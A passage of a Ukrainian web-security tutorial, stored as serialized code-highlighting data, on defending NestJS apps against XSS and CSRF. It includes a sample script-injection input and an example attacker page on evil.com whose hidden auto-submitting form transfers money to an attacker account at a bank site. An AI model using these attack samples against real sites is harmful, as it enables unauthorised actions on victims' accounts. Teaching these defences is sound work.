JSDOM",[5260,6509,5281],{"class":5273},[5260,6511,5708],{"class":5284},[5260,6513,5207],{"class":5273},[5260,6515,5873],{"class":5341},[5260,6517,5567],{"class":5273},[5260,6519,6520,6522,6525,6527,6530,6532,6534,6537,6540],{"class":5262,"line":5371},[5260,6521,5865],{"class":5298},[5260,6523,6524],{"class":5531}," purify",[5260,6526,5535],{"class":5273},[5260,6528,6529],{"class":5277},"DOMPurify",[5260,6531,5281],{"class":5273},[5260,6533,5873],{"class":5341},[5260,6535,6536],{"class":5294}," as",[5260,6538,6539],{"class":5302}," any",[5260,6541,5405],{"class":5273},[5260,6543,6544],{"class":5262,"line":5377},[5260,6545,5577],{"emptyLinePlaceholder":5576},[5260,6547,6548,6550,6552,6555,6557,6560,6562,6564,6566,6568],{"class":5262,"line":5408},[5260,6549,5295],{"class":5294},[5260,6551,6101],{"class":5298},[5260,6553,6554],{"class":5277}," sanitizeHtml",[5260,6556,5281],{"class":5273},[5260,6558,6559],{"class":5341},"dirty",[5260,6561,5345],{"class":5273},[5260,6563,5348],{"class":5302},[5260,6565,6115],{"class":5273},[5260,6567,5348],{"class":5302},[5260,6569,5306],{"class":5273},[5260,6571,6572,6574,6576,6578,6581,6583,6585],{"class":5262,"line":5414},[5260,6573,6231],{"class":5294},[5260,6575,6524],{"class":5341},[5260,6577,5383],{"class":5273},[5260,6579,6580],{"class":5277},"sanitize",[5260,6582,5281],{"class":5273},[5260,6584,6559],{"class":5341},[5260,6586,6587],{"class":5273},", {\n",[5260,6589,6590,6593,6595,6598,6600,6603,6605,6608,6610,6613,6615,6618,6620,6623,6625,6628],{"class":5262,"line":5420},[5260,6591,6592],{"class":5341},"    ALLOWED_TAGS:",[5260,6594,5994],{"class":5273},[5260,6596,6597],{"class":5284},"'b'",[5260,6599,6012],{"class":5273},[5260,6601,6602],{"class":5284},"'i'",[5260,6604,6012],{"class":5273},[5260,6606,6607],{"class":5284},"'em'",[5260,6609,6012],{"class":5273},[5260,6611,6612],{"class":5284},"'strong'",[5260,6614,6012],{"class":5273},[5260,6616,6617],{"class":5284},"'a'",[5260,6619,6012],{"class":5273},[5260,6621,6622],{"class":5284},"'p'",[5260,6624,6012],{"class":5273},[5260,6626,6627],{"class":5284},"'br'",[5260,6629,6000],{"class":5273},[5260,6631,6632,6635,6637,6640],{"class":5262,"line":5580},[5260,6633,6634],{"class":5341},"    ALLOWED_ATTR:",[5260,6636,5994],{"class":5273},[5260,6638,6639],{"class":5284},"'href'",[5260,6641,6000],{"class":5273},[5260,6643,6644],{"class":5262,"line":5589},[5260,6645,6646],{"class":5273},"  });\n",[5260,6648,6649],{"class":5262,"line":5611},[5260,6650,5423],{"class":5273},[5089,6652,6653],{},[5099,6654,6289],{},[5251,6656,6658],{"className":5253,"code":6657,"language":5255,"meta":5256,"style":5256},"@Post('comments')\nasync createComment(@Body() dto: CreateCommentDto) {\n  const sanitized = sanitizeHtml(dto.text);\n  return this.commentsService.create({ ...dto, text: sanitized });\n}\n",[5200,6659,6660,6672,6693,6715,6744],{"__ignoreMap":5256},[5260,6661,6662,6664,6666,6668,6670],{"class":5262,"line":5263},[5260,6663,5274],{"class":5273},[5260,6665,5491],{"class":5277},[5260,6667,5281],{"class":5273},[5260,6669,5471],{"class":5284},[5260,6671,5288],{"class":5273},[5260,6673,6674,6677,6679,6681,6683,6685,6687,6689,6691],{"class":5262,"line":5270},[5260,6675,6676],{"class":5341},"async",[5260,6678,5501],{"class":5277},[5260,6680,5327],{"class":5273},[5260,6682,5506],{"class":5277},[5260,6684,5357],{"class":5273},[5260,6686,5511],{"class":5341},[5260,6688,5345],{"class":5273},[5260,6690,5516],{"class":5341},[5260,6692,5368],{"class":5273},[5260,6694,6695,6697,6700,6702,6705,6707,6709,6711,6713],{"class":5262,"line":5291},[5260,6696,5807],{"class":5298},[5260,6698,6699],{"class":5531}," sanitized",[5260,6701,5535],{"class":5273},[5260,6703,6704],{"class":5277},"sanitizeHtml",[5260,6706,5281],{"class":5273},[5260,6708,5511],{"class":5341},[5260,6710,5383],{"class":5273},[5260,6712,5434],{"class":5341},[5260,6714,5405],{"class":5273},[5260,6716,6717,6719,6721,6723,6725,6727,6729,6732,6734,6736,6739,6741],{"class":5262,"line":5309},[5260,6718,6231],{"class":5294},[5260,6720,5541],{"class":5298},[5260,6722,5383],{"class":5273},[5260,6724,5546],{"class":5341},[5260,6726,5383],{"class":5273},[5260,6728,5551],{"class":5277},[5260,6730,6731],{"class":5273},"({ ...",[5260,6733,5511],{"class":5341},[5260,6735,6012],{"class":5273},[5260,6737,6738],{"class":5341},"text:",[5260,6740,6699],{"class":5341},[5260,6742,6743],{"class":5273}," });\n",[5260,6745,6746],{"class":5262,"line":5321},[5260,6747,5423],{"class":5273},[5089,6749,6750],{},[5099,6751,6068],{},[5251,6753,6756],{"className":6754,"code":6755,"language":5434},[5432],"Input:  \u003Cp>Hello \u003Cscript>alert('XSS')\u003C\u002Fscript> World\u003C\u002Fp>\nOutput: \u003Cp>Hello  World\u003C\u002Fp> (script видалено)\n",[5200,6757,6755],{"__ignoreMap":5256},[5238,6759,6761],{"id":6760},"_4-використання-textcontent-замість-innerhtml-frontend","4. Використання textContent замість innerHTML (Frontend)",[5251,6763,6765],{"className":5253,"code":6764,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ❌ НЕБЕЗПЕЧНО\nelement.innerHTML = userInput;\n\n\u002F\u002F ✅ БЕЗПЕЧНО: вставляє як текст, не інтерпретує HTML\nelement.textContent = userInput;\n",[5200,6766,6767,6772,6787,6791,6796],{"__ignoreMap":5256},[5260,6768,6769],{"class":5262,"line":5263},[5260,6770,6771],{"class":5266},"\u002F\u002F ❌ НЕБЕЗПЕЧНО\n",[5260,6773,6774,6777,6779,6781,6783,6785],{"class":5262,"line":5270},[5260,6775,6776],{"class":5341},"element",[5260,6778,5383],{"class":5273},[5260,6780,5837],{"class":5341},[5260,6782,5535],{"class":5273},[5260,6784,5906],{"class":5341},[5260,6786,5567],{"class":5273},[5260,6788,6789],{"class":5262,"line":5291},[5260,6790,5577],{"emptyLinePlaceholder":5576},[5260,6792,6793],{"class":5262,"line":5309},[5260,6794,6795],{"class":5266},"\u002F\u002F ✅ БЕЗПЕЧНО: вставляє як текст, не інтерпретує HTML\n",[5260,6797,6798,6800,6802,6805,6807,6809],{"class":5262,"line":5321},[5260,6799,6776],{"class":5341},[5260,6801,5383],{"class":5273},[5260,6803,6804],{"class":5341},"textContent",[5260,6806,5535],{"class":5273},[5260,6808,5906],{"class":5341},[5260,6810,5567],{"class":5273},[5238,6812,6814],{"id":6813},"_5-валідація-типів-даних","5. Валідація типів даних",[5251,6816,6818],{"className":5253,"code":6817,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Fcomments\u002Fdto\u002Fcreate-comment.dto.ts\nimport { IsString, MaxLength, Matches } from 'class-validator';\n\nexport class CreateCommentDto {\n  @IsString()\n  @MaxLength(500)\n  @Matches(\u002F^[^\u003C>]*$\u002F, { message: 'HTML теги заборонені' }) \u002F\u002F Блокувати \u003C та >\n  text: string;\n}\n",[5200,6819,6820,6825,6853,6857,6868,6876,6889,6935,6946],{"__ignoreMap":5256},[5260,6821,6822],{"class":5262,"line":5263},[5260,6823,6824],{"class":5266},"\u002F\u002F src\u002Fcomments\u002Fdto\u002Fcreate-comment.dto.ts\n",[5260,6826,6827,6829,6831,6834,6836,6839,6841,6844,6846,6848,6851],{"class":5262,"line":5270},[5260,6828,5938],{"class":5294},[5260,6830,6474],{"class":5273},[5260,6832,6833],{"class":5341},"IsString",[5260,6835,6012],{"class":5273},[5260,6837,6838],{"class":5341},"MaxLength",[5260,6840,6012],{"class":5273},[5260,6842,6843],{"class":5341},"Matches",[5260,6845,6480],{"class":5273},[5260,6847,6483],{"class":5294},[5260,6849,6850],{"class":5284}," 'class-validator'",[5260,6852,5567],{"class":5273},[5260,6854,6855],{"class":5262,"line":5291},[5260,6856,5577],{"emptyLinePlaceholder":5576},[5260,6858,6859,6861,6863,6866],{"class":5262,"line":5309},[5260,6860,5295],{"class":5294},[5260,6862,5299],{"class":5298},[5260,6864,6865],{"class":5302}," CreateCommentDto",[5260,6867,5306],{"class":5273},[5260,6869,6870,6872,6874],{"class":5262,"line":5321},[5260,6871,5312],{"class":5273},[5260,6873,6833],{"class":5277},[5260,6875,5318],{"class":5273},[5260,6877,6878,6880,6882,6884,6887],{"class":5262,"line":5371},[5260,6879,5312],{"class":5273},[5260,6881,6838],{"class":5277},[5260,6883,5281],{"class":5273},[5260,6885,6886],{"class":5893},"500",[5260,6888,5288],{"class":5273},[5260,6890,6891,6893,6895,6897,6899,6903,6906,6909,6911,6915,6918,6920,6923,6926,6929,6932],{"class":5262,"line":5377},[5260,6892,5312],{"class":5273},[5260,6894,6843],{"class":5277},[5260,6896,5281],{"class":5273},[5260,6898,6245],{"class":6244},[5260,6900,6902],{"class":6901},"siofk","^",[5260,6904,6905],{"class":6248},"[^",[5260,6907,6908],{"class":6244},"\u003C>",[5260,6910,6255],{"class":6248},[5260,6912,6914],{"class":6913},"sYsli","*",[5260,6916,6917],{"class":6901},"$",[5260,6919,6245],{"class":6244},[5260,6921,6922],{"class":5273},", { ",[5260,6924,6925],{"class":5341},"message:",[5260,6927,6928],{"class":5284}," 'HTML теги заборонені'",[5260,6930,6931],{"class":5273}," }) ",[5260,6933,6934],{"class":5266},"\u002F\u002F Блокувати \u003C та >\n",[5260,6936,6937,6940,6942,6944],{"class":5262,"line":5408},[5260,6938,6939],{"class":5341},"  text",[5260,6941,5345],{"class":5273},[5260,6943,5348],{"class":5302},[5260,6945,5567],{"class":5273},[5260,6947,6948],{"class":5262,"line":5414},[5260,6949,5423],{"class":5273},[6951,6952,6953,6956,6957,6960],"warning",{},[5099,6954,6955],{},"Увага:"," валідація на стороні клієнта ",[5099,6958,6959],{},"не є захистом","! Зловмисник може обійти frontend валідацію через DevTools або прямі HTTP запити. Завжди валідуйте на backend.",[5143,6962],{},[5084,6964,6966],{"id":6965},"csrf-cross-site-request-forgery-підробка-запитів","CSRF (Cross-Site Request Forgery): Підробка запитів",[5089,6968,6969,6972],{},[5099,6970,6971],{},"Cross-Site Request Forgery (CSRF)"," — це атака, при якій зловмисник змушує браузер жертви виконати небажану дію на довіреному сайті, де користувач автентифікований.",[5233,6974,6976],{"id":6975},"механізм-csrf-атаки","Механізм CSRF атаки",[5089,6978,6979],{},[5099,6980,6981],{},"Сценарій:",[6983,6984,6985,6992,6998],"ol",{},[5096,6986,6987,6988,6991],{},"Користувач автентифікований на ",[5200,6989,6990],{},"bank.com"," (session cookie збережено у браузері).",[5096,6993,6994,6995,5383],{},"Користувач відкриває зловмисний сайт ",[5200,6996,6997],{},"evil.com",[5096,6999,7000],{},"Зловмисний сайт містить прихований HTML:",[5251,7002,7005],{"className":7003,"code":7004,"language":5729,"meta":5256,"style":5256},"language-html shiki shiki-themes light-plus dark-plus dark-plus","\u003C!-- evil.com -->\n\u003Cform action=\"https:\u002F\u002Fbank.com\u002Ftransfer\" method=\"POST\" id=\"csrf-form\">\n  \u003Cinput type=\"hidden\" name=\"to\" value=\"attacker_account\" \u002F>\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"10000\" \u002F>\n\u003C\u002Fform>\n\n\u003Cscript>\n  document.getElementById('csrf-form').submit();\n\u003C\u002Fscript>\n",[5200,7006,7007,7012,7051,7086,7114,7123,7127,7136,7157],{"__ignoreMap":5256},[5260,7008,7009],{"class":5262,"line":5263},[5260,7010,7011],{"class":5266},"\u003C!-- evil.com -->\n",[5260,7013,7014,7017,7021,7025,7028,7032,7035,7037,7040,7043,7045,7048],{"class":5262,"line":5270},[5260,7015,5202],{"class":7016},"s0P7L",[5260,7018,7020],{"class":7019},"sKtos","form",[5260,7022,7024],{"class":7023},"sa4r_"," action",[5260,7026,7027],{"class":5273},"=",[5260,7029,7031],{"class":7030},"su9tN","\"https:\u002F\u002Fbank.com\u002Ftransfer\"",[5260,7033,7034],{"class":7023}," method",[5260,7036,7027],{"class":5273},[5260,7038,7039],{"class":7030},"\"POST\"",[5260,7041,7042],{"class":7023}," id",[5260,7044,7027],{"class":5273},[5260,7046,7047],{"class":7030},"\"csrf-form\"",[5260,7049,7050],{"class":7016},">\n",[5260,7052,7053,7056,7059,7062,7064,7067,7070,7072,7075,7078,7080,7083],{"class":5262,"line":5291},[5260,7054,7055],{"class":7016},"  \u003C",[5260,7057,7058],{"class":7019},"input",[5260,7060,7061],{"class":7023}," type",[5260,7063,7027],{"class":5273},[5260,7065,7066],{"class":7030},"\"hidden\"",[5260,7068,7069],{"class":7023}," name",[5260,7071,7027],{"class":5273},[5260,7073,7074],{"class":7030},"\"to\"",[5260,7076,7077],{"class":7023}," value",[5260,7079,7027],{"class":5273},[5260,7081,7082],{"class":7030},"\"attacker_account\"",[5260,7084,7085],{"class":7016}," \u002F>\n",[5260,7087,7088,7090,7092,7094,7096,7098,7100,7102,7105,7107,7109,7112],{"class":5262,"line":5309},[5260,7089,7055],{"class":7016},[5260,7091,7058],{"class":7019},[5260,7093,7061],{"class":7023},[5260,7095,7027],{"class":5273},[5260,7097,7066],{"class":7030},[5260,7099,7069],{"class":7023},[5260,7101,7027],{"class":5273},[5260,7103,7104],{"class":7030},"\"amount\"",[5260,7106,7077],{"class":7023},[5260,7108,7027],{"class":5273},[5260,7110,7111],{"class":7030},"\"10000\"",[5260,7113,7085],{"class":7016},[5260,7115,7116,7119,7121],{"class":5262,"line":5321},[5260,7117,7118],{"class":7016},"\u003C\u002F",[5260,7120,7020],{"class":7019},[5260,7122,7050],{"class":7016},[5260,7124,7125],{"class":5262,"line":5371},[5260,7126,5577],{"emptyLinePlaceholder":5576},[5260,7128,7129,7131,7134],{"class":5262,"line":5377},[5260,7130,5202],{"class":7016},[5260,7132,7133],{"class":7019},"script",[5260,7135,7050],{"class":7016},[5260,7137,7138,7141,7143,7145,7147,7150,7152,7155],{"class":5262,"line":5408},[5260,7139,7140],{"class":5341},"  document",[5260,7142,5383],{"class":5686},[5260,7144,5820],{"class":5277},[5260,7146,5281],{"class":5686},[5260,7148,7149],{"class":5284},"'csrf-form'",[5260,7151,5207],{"class":5686},[5260,7153,7154],{"class":5277},"submit",[5260,7156,5634],{"class":5686},[5260,7158,7159,7161,7163],{"class":5262,"line":5414},[5260,7160,7118],{"class":7016},[5260,7162,7133],{"class":7019},[5260,7164,7050],{"class":7016},[6983,7166,7167,7176],{"start":5309},[5096,7168,7169,7170,7173,7174,5383],{},"Браузер ",[5099,7171,7172],{},"автоматично додає session cookie"," до запиту на ",[5200,7175,6990],{},[5096,7177,7178],{},"Банківський сервер бачить валідну сесію та виконує переказ.",[5089,7180,7181],{},[5099,7182,7183],{},"Жертва навіть не помітила атаки!",[5233,7185,7187],{"id":7186},"захист-від-csrf","Захист від CSRF",[5238,7189,7191],{"id":7190},"_1-csrf-tokens-synchronizer-token-pattern","1. CSRF Tokens (Synchronizer Token Pattern)",[5089,7193,7194,7197],{},[5099,7195,7196],{},"Принцип:"," сервер генерує унікальний токен для кожної сесії\u002Fформи, який додається до форми як прихований input. При відправці форми сервер перевіряє, чи токен валідний.",[5089,7199,7200],{},[5099,7201,7202,7203,7206],{},"Встановлення ",[5200,7204,7205],{},"csurf"," (для Express\u002FNestJS):",[5251,7208,7210],{"className":6416,"code":7209,"language":6418,"meta":5256,"style":5256},"npm install csurf\nnpm install @types\u002Fcsurf --save-dev\n",[5200,7211,7212,7221],{"__ignoreMap":5256},[5260,7213,7214,7216,7218],{"class":5262,"line":5263},[5260,7215,6425],{"class":5277},[5260,7217,6428],{"class":5284},[5260,7219,7220],{"class":5284}," csurf\n",[5260,7222,7223,7225,7227,7230],{"class":5262,"line":5270},[5260,7224,6425],{"class":5277},[5260,7226,6428],{"class":5284},[5260,7228,7229],{"class":5284}," @types\u002Fcsurf",[5260,7231,6443],{"class":5298},[5089,7233,7234],{},[5099,7235,7236],{},"Налаштування у NestJS:",[5251,7238,7240],{"className":5253,"code":7239,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Fmain.ts\nimport * as csurf from 'csurf';\nimport * as cookieParser from 'cookie-parser';\n\nasync function bootstrap() {\n  const app = await NestFactory.create(AppModule);\n\n  app.use(cookieParser());\n  app.use(csurf({ cookie: true })); \u002F\u002F CSRF tokens у cookies\n\n  await app.listen(3000);\n}\n",[5200,7241,7242,7246,7265,7283,7287,7299,7324,7328,7345,7372,7376,7395],{"__ignoreMap":5256},[5260,7243,7244],{"class":5262,"line":5263},[5260,7245,5933],{"class":5266},[5260,7247,7248,7250,7253,7255,7258,7260,7263],{"class":5262,"line":5270},[5260,7249,5938],{"class":5294},[5260,7251,7252],{"class":5298}," *",[5260,7254,6536],{"class":5294},[5260,7256,7257],{"class":5341}," csurf",[5260,7259,5944],{"class":5294},[5260,7261,7262],{"class":5284}," 'csurf'",[5260,7264,5567],{"class":5273},[5260,7266,7267,7269,7271,7273,7276,7278,7281],{"class":5262,"line":5291},[5260,7268,5938],{"class":5294},[5260,7270,7252],{"class":5298},[5260,7272,6536],{"class":5294},[5260,7274,7275],{"class":5341}," cookieParser",[5260,7277,5944],{"class":5294},[5260,7279,7280],{"class":5284}," 'cookie-parser'",[5260,7282,5567],{"class":5273},[5260,7284,7285],{"class":5262,"line":5309},[5260,7286,5577],{"emptyLinePlaceholder":5576},[5260,7288,7289,7291,7293,7296],{"class":5262,"line":5321},[5260,7290,6676],{"class":5298},[5260,7292,6101],{"class":5298},[5260,7294,7295],{"class":5277}," bootstrap",[5260,7297,7298],{"class":5273},"() {\n",[5260,7300,7301,7303,7306,7308,7310,7313,7315,7317,7319,7322],{"class":5262,"line":5371},[5260,7302,5807],{"class":5298},[5260,7304,7305],{"class":5531}," app",[5260,7307,5535],{"class":5273},[5260,7309,5538],{"class":5294},[5260,7311,7312],{"class":5341}," NestFactory",[5260,7314,5383],{"class":5273},[5260,7316,5551],{"class":5277},[5260,7318,5281],{"class":5273},[5260,7320,7321],{"class":5341},"AppModule",[5260,7323,5405],{"class":5273},[5260,7325,7326],{"class":5262,"line":5377},[5260,7327,5577],{"emptyLinePlaceholder":5576},[5260,7329,7330,7333,7335,7337,7339,7342],{"class":5262,"line":5408},[5260,7331,7332],{"class":5341},"  app",[5260,7334,5383],{"class":5273},[5260,7336,5963],{"class":5277},[5260,7338,5281],{"class":5273},[5260,7340,7341],{"class":5277},"cookieParser",[5260,7343,7344],{"class":5273},"());\n",[5260,7346,7347,7349,7351,7353,7355,7357,7360,7363,7366,7369],{"class":5262,"line":5414},[5260,7348,7332],{"class":5341},[5260,7350,5383],{"class":5273},[5260,7352,5963],{"class":5277},[5260,7354,5281],{"class":5273},[5260,7356,7205],{"class":5277},[5260,7358,7359],{"class":5273},"({ ",[5260,7361,7362],{"class":5341},"cookie:",[5260,7364,7365],{"class":5298}," true",[5260,7367,7368],{"class":5273}," })); ",[5260,7370,7371],{"class":5266},"\u002F\u002F CSRF tokens у cookies\n",[5260,7373,7374],{"class":5262,"line":5420},[5260,7375,5577],{"emptyLinePlaceholder":5576},[5260,7377,7378,7381,7383,7385,7388,7390,7393],{"class":5262,"line":5580},[5260,7379,7380],{"class":5294},"  await",[5260,7382,7305],{"class":5341},[5260,7384,5383],{"class":5273},[5260,7386,7387],{"class":5277},"listen",[5260,7389,5281],{"class":5273},[5260,7391,7392],{"class":5893},"3000",[5260,7394,5405],{"class":5273},[5260,7396,7397],{"class":5262,"line":5589},[5260,7398,5423],{"class":5273},[5089,7400,7401],{},[5099,7402,7403],{},"Додавання токену до форми (SSR):",[5251,7405,7407],{"className":7003,"code":7406,"language":5729,"meta":5256,"style":5256},"\u003C!-- views\u002Ftransfer.ejs -->\n\u003Cform action=\"\u002Ftransfer\" method=\"POST\">\n  \u003Cinput type=\"hidden\" name=\"_csrf\" value=\"\u003C%= csrfToken %>\" \u002F>\n  \u003Cinput type=\"text\" name=\"to\" placeholder=\"Одержувач\" \u002F>\n  \u003Cinput type=\"number\" name=\"amount\" placeholder=\"Сума\" \u002F>\n  \u003Cbutton type=\"submit\">Перевести\u003C\u002Fbutton>\n\u003C\u002Fform>\n",[5200,7408,7409,7414,7435,7469,7498,7526,7552],{"__ignoreMap":5256},[5260,7410,7411],{"class":5262,"line":5263},[5260,7412,7413],{"class":5266},"\u003C!-- views\u002Ftransfer.ejs -->\n",[5260,7415,7416,7418,7420,7422,7424,7427,7429,7431,7433],{"class":5262,"line":5270},[5260,7417,5202],{"class":7016},[5260,7419,7020],{"class":7019},[5260,7421,7024],{"class":7023},[5260,7423,7027],{"class":5273},[5260,7425,7426],{"class":7030},"\"\u002Ftransfer\"",[5260,7428,7034],{"class":7023},[5260,7430,7027],{"class":5273},[5260,7432,7039],{"class":7030},[5260,7434,7050],{"class":7016},[5260,7436,7437,7439,7441,7443,7445,7447,7449,7451,7454,7456,7458,7461,7464,7467],{"class":5262,"line":5291},[5260,7438,7055],{"class":7016},[5260,7440,7058],{"class":7019},[5260,7442,7061],{"class":7023},[5260,7444,7027],{"class":5273},[5260,7446,7066],{"class":7030},[5260,7448,7069],{"class":7023},[5260,7450,7027],{"class":5273},[5260,7452,7453],{"class":7030},"\"_csrf\"",[5260,7455,7077],{"class":7023},[5260,7457,7027],{"class":5273},[5260,7459,7460],{"class":7030},"\"",[5260,7462,5202],{"class":7463},"se1LK",[5260,7465,7466],{"class":7030},"%= csrfToken %>\"",[5260,7468,7085],{"class":7016},[5260,7470,7471,7473,7475,7477,7479,7482,7484,7486,7488,7491,7493,7496],{"class":5262,"line":5309},[5260,7472,7055],{"class":7016},[5260,7474,7058],{"class":7019},[5260,7476,7061],{"class":7023},[5260,7478,7027],{"class":5273},[5260,7480,7481],{"class":7030},"\"text\"",[5260,7483,7069],{"class":7023},[5260,7485,7027],{"class":5273},[5260,7487,7074],{"class":7030},[5260,7489,7490],{"class":7023}," placeholder",[5260,7492,7027],{"class":5273},[5260,7494,7495],{"class":7030},"\"Одержувач\"",[5260,7497,7085],{"class":7016},[5260,7499,7500,7502,7504,7506,7508,7511,7513,7515,7517,7519,7521,7524],{"class":5262,"line":5321},[5260,7501,7055],{"class":7016},[5260,7503,7058],{"class":7019},[5260,7505,7061],{"class":7023},[5260,7507,7027],{"class":5273},[5260,7509,7510],{"class":7030},"\"number\"",[5260,7512,7069],{"class":7023},[5260,7514,7027],{"class":5273},[5260,7516,7104],{"class":7030},[5260,7518,7490],{"class":7023},[5260,7520,7027],{"class":5273},[5260,7522,7523],{"class":7030},"\"Сума\"",[5260,7525,7085],{"class":7016},[5260,7527,7528,7530,7533,7535,7537,7540,7543,7546,7548,7550],{"class":5262,"line":5371},[5260,7529,7055],{"class":7016},[5260,7531,7532],{"class":7019},"button",[5260,7534,7061],{"class":7023},[5260,7536,7027],{"class":5273},[5260,7538,7539],{"class":7030},"\"submit\"",[5260,7541,7542],{"class":7016},">",[5260,7544,7545],{"class":5273},"Перевести",[5260,7547,7118],{"class":7016},[5260,7549,7532],{"class":7019},[5260,7551,7050],{"class":7016},[5260,7553,7554,7556,7558],{"class":5262,"line":5377},[5260,7555,7118],{"class":7016},[5260,7557,7020],{"class":7019},[5260,7559,7050],{"class":7016},[5089,7561,7562],{},[5099,7563,7564],{},"Валідація токену на backend:",[5251,7566,7568],{"className":5253,"code":7567,"language":5255,"meta":5256,"style":5256},"\u002F\u002F CSRF middleware автоматично валідує токен\n\u002F\u002F Якщо токен невалідний → 403 Forbidden\n@Post('transfer')\nasync transfer(@Body() dto: TransferDto) {\n  \u002F\u002F Цей код виконається лише якщо CSRF токен валідний\n  return this.bankService.transfer(dto);\n}\n",[5200,7569,7570,7575,7580,7593,7615,7620,7642],{"__ignoreMap":5256},[5260,7571,7572],{"class":5262,"line":5263},[5260,7573,7574],{"class":5266},"\u002F\u002F CSRF middleware автоматично валідує токен\n",[5260,7576,7577],{"class":5262,"line":5270},[5260,7578,7579],{"class":5266},"\u002F\u002F Якщо токен невалідний → 403 Forbidden\n",[5260,7581,7582,7584,7586,7588,7591],{"class":5262,"line":5291},[5260,7583,5274],{"class":5273},[5260,7585,5491],{"class":5277},[5260,7587,5281],{"class":5273},[5260,7589,7590],{"class":5284},"'transfer'",[5260,7592,5288],{"class":5273},[5260,7594,7595,7597,7600,7602,7604,7606,7608,7610,7613],{"class":5262,"line":5309},[5260,7596,6676],{"class":5341},[5260,7598,7599],{"class":5277}," transfer",[5260,7601,5327],{"class":5273},[5260,7603,5506],{"class":5277},[5260,7605,5357],{"class":5273},[5260,7607,5511],{"class":5341},[5260,7609,5345],{"class":5273},[5260,7611,7612],{"class":5341},"TransferDto",[5260,7614,5368],{"class":5273},[5260,7616,7617],{"class":5262,"line":5321},[5260,7618,7619],{"class":5266},"  \u002F\u002F Цей код виконається лише якщо CSRF токен валідний\n",[5260,7621,7622,7624,7626,7628,7631,7633,7636,7638,7640],{"class":5262,"line":5371},[5260,7623,6231],{"class":5294},[5260,7625,5541],{"class":5298},[5260,7627,5383],{"class":5273},[5260,7629,7630],{"class":5341},"bankService",[5260,7632,5383],{"class":5273},[5260,7634,7635],{"class":5277},"transfer",[5260,7637,5281],{"class":5273},[5260,7639,5511],{"class":5341},[5260,7641,5405],{"class":5273},[5260,7643,7644],{"class":5262,"line":5377},[5260,7645,5423],{"class":5273},[5089,7647,7648,7651,7652,7654,7655,7658,7659,7661],{},[5099,7649,7650],{},"Чому це працює:"," зловмисний сайт ",[5200,7653,6997],{}," ",[5099,7656,7657],{},"не може отримати"," CSRF токен з ",[5200,7660,6990],{}," через Same-Origin Policy браузера.",[5238,7663,7665],{"id":7664},"_2-samesite-cookies","2. SameSite Cookies",[5089,7667,7668,7671],{},[5099,7669,7670],{},"SameSite"," — це атрибут cookie, що обмежує відправлення cookies у cross-site запитах.",[5251,7673,7675],{"className":5253,"code":7674,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Fauth\u002Fauth.service.ts\n@Injectable()\nexport class AuthService {\n  async login(res: Response, user: User) {\n    const token = this.generateJwt(user);\n\n    res.cookie('session', token, {\n      httpOnly: true,\n      secure: true,          \u002F\u002F Лише HTTPS\n      sameSite: 'strict',    \u002F\u002F ❗ Ключовий параметр\n      maxAge: 3600000,       \u002F\u002F 1 година\n    });\n\n    return { message: 'Logged in successfully' };\n  }\n}\n",[5200,7676,7677,7682,7691,7702,7729,7752,7756,7777,7786,7799,7813,7827,7832,7836,7850,7854],{"__ignoreMap":5256},[5260,7678,7679],{"class":5262,"line":5263},[5260,7680,7681],{"class":5266},"\u002F\u002F src\u002Fauth\u002Fauth.service.ts\n",[5260,7683,7684,7686,7689],{"class":5262,"line":5270},[5260,7685,5274],{"class":5273},[5260,7687,7688],{"class":5277},"Injectable",[5260,7690,5318],{"class":5273},[5260,7692,7693,7695,7697,7700],{"class":5262,"line":5291},[5260,7694,5295],{"class":5294},[5260,7696,5299],{"class":5298},[5260,7698,7699],{"class":5302}," AuthService",[5260,7701,5306],{"class":5273},[5260,7703,7704,7706,7709,7711,7713,7715,7717,7719,7722,7724,7727],{"class":5262,"line":5309},[5260,7705,5498],{"class":5298},[5260,7707,7708],{"class":5277}," login",[5260,7710,5281],{"class":5273},[5260,7712,5360],{"class":5341},[5260,7714,5345],{"class":5273},[5260,7716,5365],{"class":5302},[5260,7718,6012],{"class":5273},[5260,7720,7721],{"class":5341},"user",[5260,7723,5345],{"class":5273},[5260,7725,7726],{"class":5302},"User",[5260,7728,5368],{"class":5273},[5260,7730,7731,7733,7736,7738,7741,7743,7746,7748,7750],{"class":5262,"line":5321},[5260,7732,5528],{"class":5298},[5260,7734,7735],{"class":5531}," token",[5260,7737,5535],{"class":5273},[5260,7739,7740],{"class":5298},"this",[5260,7742,5383],{"class":5273},[5260,7744,7745],{"class":5277},"generateJwt",[5260,7747,5281],{"class":5273},[5260,7749,7721],{"class":5341},[5260,7751,5405],{"class":5273},[5260,7753,7754],{"class":5262,"line":5371},[5260,7755,5577],{"emptyLinePlaceholder":5576},[5260,7757,7758,7760,7762,7765,7767,7770,7772,7775],{"class":5262,"line":5377},[5260,7759,5380],{"class":5341},[5260,7761,5383],{"class":5273},[5260,7763,7764],{"class":5277},"cookie",[5260,7766,5281],{"class":5273},[5260,7768,7769],{"class":5284},"'session'",[5260,7771,6012],{"class":5273},[5260,7773,7774],{"class":5341},"token",[5260,7776,6587],{"class":5273},[5260,7778,7779,7782,7784],{"class":5262,"line":5408},[5260,7780,7781],{"class":5341},"      httpOnly:",[5260,7783,7365],{"class":5298},[5260,7785,6156],{"class":5273},[5260,7787,7788,7791,7793,7796],{"class":5262,"line":5414},[5260,7789,7790],{"class":5341},"      secure:",[5260,7792,7365],{"class":5298},[5260,7794,7795],{"class":5273},",          ",[5260,7797,7798],{"class":5266},"\u002F\u002F Лише HTTPS\n",[5260,7800,7801,7804,7807,7810],{"class":5262,"line":5420},[5260,7802,7803],{"class":5341},"      sameSite:",[5260,7805,7806],{"class":5284}," 'strict'",[5260,7808,7809],{"class":5273},",    ",[5260,7811,7812],{"class":5266},"\u002F\u002F ❗ Ключовий параметр\n",[5260,7814,7815,7818,7821,7824],{"class":5262,"line":5580},[5260,7816,7817],{"class":5341},"      maxAge:",[5260,7819,7820],{"class":5893}," 3600000",[5260,7822,7823],{"class":5273},",       ",[5260,7825,7826],{"class":5266},"\u002F\u002F 1 година\n",[5260,7828,7829],{"class":5262,"line":5589},[5260,7830,7831],{"class":5273},"    